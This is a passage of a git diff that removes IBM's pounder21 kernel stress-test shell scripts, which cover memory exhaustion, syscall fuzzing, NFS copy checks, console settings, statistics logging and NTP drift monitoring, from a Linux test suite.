-done
-
-# Wait for children (even though they won't die...)
-wait
-
-# If we don't crash the system, we're ok.
-# We actually don't care about the output. (mp3 encoded garbage?)
-exit 0
diff --git a/tools/pounder21/test_scripts/ltp b/tools/pounder21/test_scripts/ltp
deleted file mode 100755
index 01aa2cd..0000000
--- a/tools/pounder21/test_scripts/ltp
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/bash
-
-# Runs the LTP suite
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-LTPRUNALL=`ls $POUNDER_TMPDIR/opt/ltp/runltp`
-
-# Catch errors
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -c "FAIL  :" $LOGFILE`
-
-"$LTPRUNALL"
-
-if [ $? -ne 0 ]; then
-	exit 255
-fi
-
-# Catch errors
-NEW_ERRORS=`egrep -c "FAIL  :" $LOGFILE`
-ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-if [ $ERRORS -eq 255 ]; then
-        ERRORS=254
-fi
-exit $ERRORS
diff --git a/tools/pounder21/test_scripts/mem_alloc b/tools/pounder21/test_scripts/mem_alloc
deleted file mode 100755
index 95a0214..0000000
--- a/tools/pounder21/test_scripts/mem_alloc
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/bin/bash
-
-# Run the system to OOM.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# How many errors are already here?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(USER|LINUX) ERROR:" $LOGFILE`
-
-# Slow this guy down
-sleep 873
-
-# Eat a ton of memory.
-echo "Kicking off mem_alloc at `date`."
-$POUNDER_SRCDIR/mem_alloc_test/mem_alloc
-echo "Finished mem_alloc at `date`."
-
-# Can we find any new errors?
-NEW_ERRORS=`egrep -ic "(USER|LINUX) ERROR:" $LOGFILE`
-
-TOTAL_ERRORS=$(( NEW_ERRORS - OLD_ERRORS))
-if [ $TOTAL_ERRORS -eq 255 ]; then
-        TOTAL_ERRORS=254
-fi
-exit $TOTAL_ERRORS
-
diff --git a/tools/pounder21/test_scripts/memtest b/tools/pounder21/test_scripts/memtest
deleted file mode 100755
index e212bde..0000000
--- a/tools/pounder21/test_scripts/memtest
+++ /dev/null
@@ -1,53 +0,0 @@
-#!/bin/bash
-
-# Tests CPU/DMA hitting on memory
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Can we find the script?
-if [ ! -f "$POUNDER_OPTDIR/memtest.sh" ]; then
-	echo "Can't find memtest.sh; did you run Install?"
-	exit -1
-fi
-
-MEMTESTDIR="$POUNDER_TMPDIR/memtest/"
-rm -rf "$MEMTESTDIR"
-mkdir -p "$MEMTESTDIR"
-
-# Did we see any failures?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(err|fail|invalid|cannot|denied|diff)" $LOGFILE`
-
-# Run the test
-cd "$POUNDER_OPTDIR"
-cp "$POUNDER_OPTDIR/linux-2.6.39.tar.bz2" "$MEMTESTDIR/linux-2.6.39.tar.bz2"
-#NR_PASSES=2 TEST_DIR="$MEMTESTDIR" SOURCE_FILE="$POUNDER_OPTDIR/linux-2.6.39.tar.gz"
-./memtest.sh
-
-# Now clean up
-rm -rf "$POUNDER_TMPDIR/memtest/"
-
-# Did we see any failures?
-NEW_ERRORS=`egrep -ic "(err|fail|invalid|denied|cannot|diff)" $LOGFILE`
-ERRORS=$((NEW_ERRORS - OLD_ERRORS))
-if [ $ERRORS -eq 255 ]; then
-        ERRORS=254
-fi
-exit $ERRORS
-
diff --git a/tools/pounder21/test_scripts/memxfer5b b/tools/pounder21/test_scripts/memxfer5b
deleted file mode 100755
index 58088ff..0000000
--- a/tools/pounder21/test_scripts/memxfer5b
+++ /dev/null
@@ -1,42 +0,0 @@
-#!/bin/bash
-
-# Flood memory bus by pounding on the CPU...
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Try to find memxfer5b on the system
-MEMXFER5B=`ls $POUNDER_SRCDIR/memxfer5b/memxfer5b`
-if [ -z "$MEMXFER5B" ]; then
-	echo "Cannot find memxfer5b; did you run Install?"
-	exit -1
-fi
-
-# How much RAM do we have?
-RAM=`cat /proc/meminfo | grep MemTotal | awk -F " " '{print $2}'`
-MEM_BLOB=`expr $RAM \* 32` # convert to KB and then divide by 32
-
-# Run this test ten times.
-TIMES=0
-while [ $TIMES -lt 2 ]; do
-	"$MEMXFER5B" -s -p $MEM_BLOB 10 0 1 2 3 4 5 6
-	TIMES=$((TIMES + 1))
-done
-
-# No output; if system stays up, we pass.
-exit 0
diff --git a/tools/pounder21/test_scripts/nfs b/tools/pounder21/test_scripts/nfs
deleted file mode 100755
index d76b562..0000000
--- a/tools/pounder21/test_scripts/nfs
+++ /dev/null
@@ -1,88 +0,0 @@
-#!/bin/bash
-
-# Repeatedly copy files to NFS server.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-if [ -z "$NFS_SERVER" -o "$NFS_SERVER" == "0" ]; then
-	echo "NFS server not configured."
-	exit 255
-fi
-
-SHORTHOST=`echo "$HOSTNAME" | sed -e 's/\..*//g'`
-
-# set up to delete nfs data and unmount nfs when we die
-NFSMOUNT=/pounder
-NFSLOCAL="$POUNDER_TMPDIR/nfs-$$"
-trap 'echo Cleaning up...; mv $NFSLOCAL/$SHORTHOST/testnet $NFSLOCAL/$SHORTHOST/testnet.del; rm -rf $NFSLOCAL/$SHORTHOST/testnet.del; umount $NFSLOCAL; rm -rf $NFSLOCAL; echo Clean.; exit 0' 1 2 15
-
-[ ! -x $NFSLOCAL ] && mkdir $NFSLOCAL
-echo "Mounting remote storage via NFS..."
-
-echo Mounting $NFS_SERVER:$NFSMOUNT on $NFSLOCAL...
-
-# Did we see any failures?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`egrep -ic "(err|fail|cannot|invalid|denied)" $LOGFILE`
-
-if (mount "$NFS_SERVER:$NFSMOUNT" $NFSLOCAL -t nfs -o tcp); then
-	# Create a dir for this machine and sleep to give our mkdir a
-	# better chance of making it.
-	[ ! -x $NFSLOCAL/$SHORTHOST ] && mkdir $NFSLOCAL/$SHORTHOST
-	sleep 5
-
-	# If we've already stuff here, move it and delete it.
-	# Meanwhile, create ourselves a new directory for the copy
-	[ -x $NFSLOCAL/$SHORTHOST/testnet ] && \
-		mv $NFSLOCAL/$SHORTHOST/testnet $NFSLOCAL/$SHORTHOST/testnet.del
-	[ -x $NFSLOCAL/$SHORTHOST/testnet.del ] && \
-		rm -rf $NFSLOCAL/$SHORTHOST/testnet.del &
-
-	# Actually copy data...
-	echo "Remote NFS copy in progress..."
-	cp -pr /usr $NFSLOCAL/$SHORTHOST/testnet
-
-	# Now diff it...
-	diff -Naur /usr $NFSLOCAL/$SHORTHOST/testnet > $POUNDER_TMPDIR/nfs.diff
-
-	# Now remove it
-	rm -rf $NFSLOCAL/$SHORTHOST/testnet
-
-	# and unmount
-	umount $NFSLOCAL
-	rm -rf $NFSLOCAL
-else
-	echo Unable to connect to the NFS server $NFS_SERVER.
-	echo Please check network configuration and update the script.
-	exit -1
-fi
-
-# Anything in the diff?
-DIFF_ERRORS=`wc -l < $POUNDER_TMPDIR/nfs.diff`
-if [ $DIFF_ERRORS -gt 0 ]; then
-	exit $DIFF_ERRORS
-fi
-
-# Did we see any failures?
-NEW_ERRORS=`egrep -ic "(err|fail|cannot|invalid|denied)" $LOGFILE`
-ERRORS=$((NEW_ERRORS - OLD_ERRORS))
-if [ $ERRORS -eq 255 ]; then
-        ERRORS=254
-fi
-exit $ERRORS
-
diff --git a/tools/pounder21/test_scripts/pass.sh b/tools/pounder21/test_scripts/pass.sh
deleted file mode 100755
index e373c85..0000000
--- a/tools/pounder21/test_scripts/pass.sh
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/bin/sh
-
-# Pass
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-exit 0
diff --git a/tools/pounder21/test_scripts/passloop.sh b/tools/pounder21/test_scripts/passloop.sh
deleted file mode 100755
index 3983ac7..0000000
--- a/tools/pounder21/test_scripts/passloop.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-
-# Repeatedly pass a test.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-$POUNDER_HOME/timed_loop 1 $POUNDER_HOME/test_scripts/pass.sh
-exit $?
diff --git a/tools/pounder21/test_scripts/ping_nfs_server b/tools/pounder21/test_scripts/ping_nfs_server
deleted file mode 100755
index 9325d71..0000000
--- a/tools/pounder21/test_scripts/ping_nfs_server
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/bin/sh
-
-# Ping NFS server 100 times
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-if [ -z "$NFS_SERVER" -o "$NFS_SERVER" == "0" ]; then
-	echo "NFS server not configured."
-	exit -1
-fi
-
-ping -c 100 -s 1024 "$NFS_SERVER"
-
-exit $?
diff --git a/tools/pounder21/test_scripts/ramsnake b/tools/pounder21/test_scripts/ramsnake
deleted file mode 100755
index 19ce452..0000000
--- a/tools/pounder21/test_scripts/ramsnake
+++ /dev/null
@@ -1,68 +0,0 @@
-#!/bin/bash
-
-# Control script for a program that tests shared memory access speeds.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-# Kill anything in this process group
-trap 'kill -9 `pgrep -P $$` 2> /dev/null; exit 0' 1 2 15
-
-# Try to find ramsnake
-PROGRAM="$POUNDER_SRCDIR/ramsnake/snake.exe"
-if [ -z "$PROGRAM" ]; then
-	echo "Cannot find ramsnake; did you run Install?"
-	exit -1
-fi
-
-# We want enough nodes to consume 1/2 of whatever RAM isn't being used
-# for programs or buffers.  Note that we must divide again by the number
-# of CPUs in the system so that the _total_ memory used is 1/4.
-#
-# Does the LONG_BIT config variable really refer to the size
-# of a pointer?
-MEM_AVAIL=$(( `grep ^MemFree: /proc/meminfo | awk -F " " '{print $2}'` + `grep ^Cached: /proc/meminfo | awk -F " " '{print $2}'`))
-NUM_NODES=$(( (MEM_AVAIL * 1024 / (2 * NR_CPUS)) / $((`getconf LONG_BIT` / 8)) ))
-
-# Start up a bunch of ramsnakes in the background.
-for ((k=0; k < $NR_CPUS; k++))
-do
-	"$POUNDER_HOME/timed_loop" 300 "$PROGRAM" -p $NR_CPUS -n $NUM_NODES &
-done
-
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=0
-
-# Check for errors while snake runs.
-while [ `pgrep -P $$ | wc -l` -gt 1 ];
-do
-	NEW_ERRORS=`egrep -ic "(segmentation|fault|error|illegal)" $LOGFILE`
-	ERRORS=$(( NEW_ERRORS - OLD_ERRORS ))
-	if [ $ERRORS -eq 255 ]; then
-		ERRORS=254
-	fi
-
-	if [ $ERRORS -gt 0 ]; then
-		echo "Program crash detected.  Aborting."
-		exit 1
-	fi
-	OLD_ERRORS=$ERRORS
-	sleep 5
-done
-
-# Failures will probably hang the system or segfault snake.
-exit 0
diff --git a/tools/pounder21/test_scripts/random_syscall b/tools/pounder21/test_scripts/random_syscall
deleted file mode 100755
index 9d00bad..0000000
--- a/tools/pounder21/test_scripts/random_syscall
+++ /dev/null
@@ -1,70 +0,0 @@
-#!/bin/bash
-
-# Pound on syscall interface
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-RANDASYS_USER=daemon
-RANDASYS_UID=`id -u $RANDASYS_USER`
-RANDASYS_GROUP=daemon
-RANDASYS_GID=`id -u $RANDASYS_GROUP`
-
-# Try to find randasyscall on the system
-PROGRAM=`ls "$POUNDER_TMPDIR/randasys" 2> /dev/null`
-if [ -z "$PROGRAM" ]; then
-	PROGRAM=`ls "$POUNDER_SRCDIR/randasyscall/randasys"`
-	if [ -z "$PROGRAM" ]; then
-		echo "Cannot find randasys; did you run Install?"
-		exit -1
-	fi
-fi
-
-trap 'rm -rf "$POUNDER_TMPDIR/randasys"; kill -9 `pgrep -P $$` 2> /dev/null; exit 0' 1 2 15
-
-# Change the permissions on the log file
-chown $RANDASYS_USER `ls -la /proc/$$/fd/1 | awk -F " " '{print $11}'`
-
-# We need to dump this somewhere where the daemon user can read this
-cp "$PROGRAM" "/tmp"
-PROGRAM="/tmp/randasys"
-
-# Save a copy of dmesg
-dmesg > "$POUNDER_TMPDIR/randasys-before"
-
-# Start the program
-for ((k=0; k < $NR_CPUS; k++))
-do
-	"$POUNDER_HOME/fancy_timed_loop" 900 $RANDASYS_UID $RANDASYS_GID 9 "$PROGRAM" &
-	"$POUNDER_HOME/fancy_timed_loop" 900 $RANDASYS_UID $RANDASYS_GID 9 "$PROGRAM" -z &
-done
-
-# Wait for this to finish (it won't)
-wait
-
-# Save another copy of dmesg
-dmesg > "$POUNDER_TMPDIR/randasys-after"
-echo "CECHK 5"
-
-# Diff
-DMESG_DIFF_LINES=`diff "$POUNDER_TMPDIR/randasys-before" "$POUNDER_TMPDIR/randasys-after" | wc -l`
-diff "$POUNDER_TMPDIR/randasys-before" "$POUNDER_TMPDIR/randasys-after"
-rm -rf "$POUNDER_TMPDIR/randasys-before" "$POUNDER_TMPDIR/randasys-after"
-
-# Failures will show up in the test output.  Or better yet,
-# panic/oops/BUG the machine.
-exit 0
diff --git a/tools/pounder21/test_scripts/screen_blank b/tools/pounder21/test_scripts/screen_blank
deleted file mode 100755
index f611b42..0000000
--- a/tools/pounder21/test_scripts/screen_blank
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/bin/bash
-
-# enable blanking, etc
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-(for i in /dev/tty[0-9]* /dev/vc/*; do
-	setterm -reset > $i
-done) 2> /dev/null
-
-exit 0
diff --git a/tools/pounder21/test_scripts/screen_noblank b/tools/pounder21/test_scripts/screen_noblank
deleted file mode 100755
index 55c2c7f..0000000
--- a/tools/pounder21/test_scripts/screen_noblank
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/bin/bash
-
-# disable blanking
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-(for i in /dev/tty[0-9]* /dev/vc/*; do
-	setterm -reset > $i
-	setterm -blank 0 -msg on -msglevel 8 -powersave off -powerdown 0 > $i
-done) 2> /dev/null
-
-exit 0
diff --git a/tools/pounder21/test_scripts/sigfpe.sh b/tools/pounder21/test_scripts/sigfpe.sh
deleted file mode 100755
index 3776da9..0000000
--- a/tools/pounder21/test_scripts/sigfpe.sh
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/bash
-
-# Test that dies with a signal
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-kill -FPE $$
-exit 0
diff --git a/tools/pounder21/test_scripts/simpleD b/tools/pounder21/test_scripts/simpleD
deleted file mode 100755
index 0fddc95..0000000
--- a/tools/pounder21/test_scripts/simpleD
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/sh
-echo simpleD running....
-sleep 100
-exit  $?
diff --git a/tools/pounder21/test_scripts/sleep b/tools/pounder21/test_scripts/sleep
deleted file mode 100755
index 14c95a9..0000000
--- a/tools/pounder21/test_scripts/sleep
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/bash
-
-# Sleep for five seconds.  Dumb test.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-echo $$
-sleep 5
-exit 0
diff --git a/tools/pounder21/test_scripts/statslogging b/tools/pounder21/test_scripts/statslogging
deleted file mode 100755
index f1774ec..0000000
--- a/tools/pounder21/test_scripts/statslogging
+++ /dev/null
@@ -1,112 +0,0 @@
-#!/bin/sh
-
-#log script, by john stultz (jstultz@us.ibm.com)
-# other bits by darrick wong (djwong@us.ibm.com)
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-trap 'exit 0' 15
-
-function startup() {
-	# change into the pounder log dir
-	if [ -x $POUNDER_LOGDIR ]; then
-		cd $POUNDER_LOGDIR
-	fi
-	#create log dir
-	mkdir statlogs
-	cd statlogs
-}
-
-
-INFOFILE=info
-#generic system info
-function sysinfo() {
-	uname -a >> $INFOFILE
-	printf "\n[cpuinfo]=================\n" >>$INFOFILE
-	cat /proc/cpuinfo >> $INFOFILE
-	printf "\n[meminfo]=================\n" >>$INFOFILE
-	cat /proc/meminfo >> $INFOFILE
-	printf "\n[ifinfo]=================\n" >>$INFOFILE
-	/sbin/ifconfig >> $INFOFILE
-	printf "\n[sysctl]=================\n" >>$INFOFILE
-	sysctl -a >> $INFOFILE
-}
-
-PROC_ENTRIES="buddyinfo diskstats meminfo slabinfo net/netstat net/snmp"
-function procinfo() {
-	#get a timestamp
-	NOW=`date`
-	for i in $PROC_ENTRIES
-	do
-		logfile=`basename $i`
-		printf "\n$NOW\n" >> $logfile.log
-		cat /proc/$i >> $logfile.log
-		sleep 1
-	done
-}
-
-# ten second delay; run 150s before outputting timestamp
-DELAY=10
-COUNT=15
-
-#single shot logging apps
-function singleshots(){
-	echo > vmstat.log
-	echo > iostat.log
-
-	while true; do
-		vmstat $DELAY $COUNT >> vmstat.log
-		NOW=`date`
-		printf "\n$NOW\n\n" >> vmstat.log
-	done &
-
-	IOSTAT=`which iostat 2> /dev/null`
-	if [ -n "$IOSTAT" -a -x "$IOSTAT" ]; then
-		while true; do
-			iostat -x $DELAY $COUNT >> iostat.log
-			NOW=`date`
-			printf "\n$NOW\n\n" >> iostat.log
-		done &
-	fi
-}
-
-# periodically run apps & functions
-function runlogging() {
-	CMDS="procinfo"
-	while true
-	do
-		for i in $CMDS
-		do
-			$i
-			sleep 1
-		done
-		sleep $DELAY
-	done
-}
-
-trap 'exit 0' 15
-
-startup $*
-sysinfo
-singleshots
-tail -f /var/log/messages /var/log/syslog /var/log/daemon.log /var/log/kern.log /var/log/warn /var/log/faillog > system_logs &
-cp -pRdu $POUNDER_HOME/README .
-runlogging
-
-exit 0
diff --git a/tools/pounder21/test_scripts/sysrq-on b/tools/pounder21/test_scripts/sysrq-on
deleted file mode 100755
index 714443f..0000000
--- a/tools/pounder21/test_scripts/sysrq-on
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-if [ -w /proc/sys/kernel/sysrq ]; then
-	echo 1 > /proc/sys/kernel/sysrq
-fi
-
-exit 0
diff --git a/tools/pounder21/test_scripts/time_consistency b/tools/pounder21/test_scripts/time_consistency
deleted file mode 100755
index 2be6ffc..0000000
--- a/tools/pounder21/test_scripts/time_consistency
+++ /dev/null
@@ -1,35 +0,0 @@
-#!/bin/sh
-
-# Control script for time consistency tests.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# How many errors are already here?
-LOGFILE=/proc/$$/fd/1
-OLD_ERRORS=`grep ^--- $LOGFILE | wc -l`
-
-$POUNDER_HOME/timed_loop 600 "$POUNDER_SRCDIR/time_tests/inconsistency-check"
-# Can we find any new errors?
-NEW_ERRORS=`grep ^--- $LOGFILE | wc -l`
-
-TOTAL_ERRORS=$(( NEW_ERRORS - OLD_ERRORS))
-if [ $TOTAL_ERRORS -eq 255 ]; then
-        TOTAL_ERRORS=254
-fi
-exit $TOTAL_ERRORS
diff --git a/tools/pounder21/test_scripts/time_drift b/tools/pounder21/test_scripts/time_drift
deleted file mode 100755
index 1e0f143..0000000
--- a/tools/pounder21/test_scripts/time_drift
+++ /dev/null
@@ -1,72 +0,0 @@
-#!/bin/sh
-
-# Monitor NTP drift
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-if [ -z "$NTP_SERVER" -o "$NTP_SERVER" == "0" ]; then
-	echo "NTP server is not configured."
-	exit 255
-fi
-
-# NTP server is set in libpounder.sh
-# Check NTP server every 15 seconds.  Evil, I know.
-FREQ=15
-# Threshold at which we warn about excessive drift
-DWT=100
-# Threshold at which we fail the test because of drift
-DFT=500
-
-LOGFILE=/proc/$$/fd/1
-
-# Why do we need this?  Output is already being logged!
-cp -f $LOGFILE $POUNDER_TMPDIR/ntpdrift-$$
-
-# Do we have a python interpreter?
-PYTHON=`which python`
-if [ -n "$PYTHON" -a -x "$PYTHON" ]; then
-		$POUNDER_HOME/timed_loop 900 "$POUNDER_SRCDIR/time_tests/drift-test.py" $NTP_SERVER $FREQ
-else
-	echo "There is no python interpreter installed.  Aborting."
-	exit -1
-fi
-
-# Did drift-test.py fail to run properly?
-if [ $? -ne 0 ]; then
-	exit 1
-fi
-
-# Did we see any failures in actual drift test?
-ERRORS=0
-cp -f $LOGFILE $POUNDER_TMPDIR/ntpdrift2-$$
-diff -u $POUNDER_TMPDIR/ntpdrift-$$ $LOGFILE | while read a b c d e field drift garbage; do
-	if [ "$field" != "drift:" ]; then
-		continue;
-	fi
-	drift=`echo $drift | awk -F "." '{print $1}'`
-	if [ $drift -gt $DFT -o $drift -lt -$DFT ]; then
-		echo ERROR: drift exceeded $DFT ppm: $a $b \
-		$c $d $e $field $drift $garbage
-		ERRORS=$((ERRORS + 1))
-	elif [ $drift -gt $DWT -o $drift -lt -$DWT ]; then
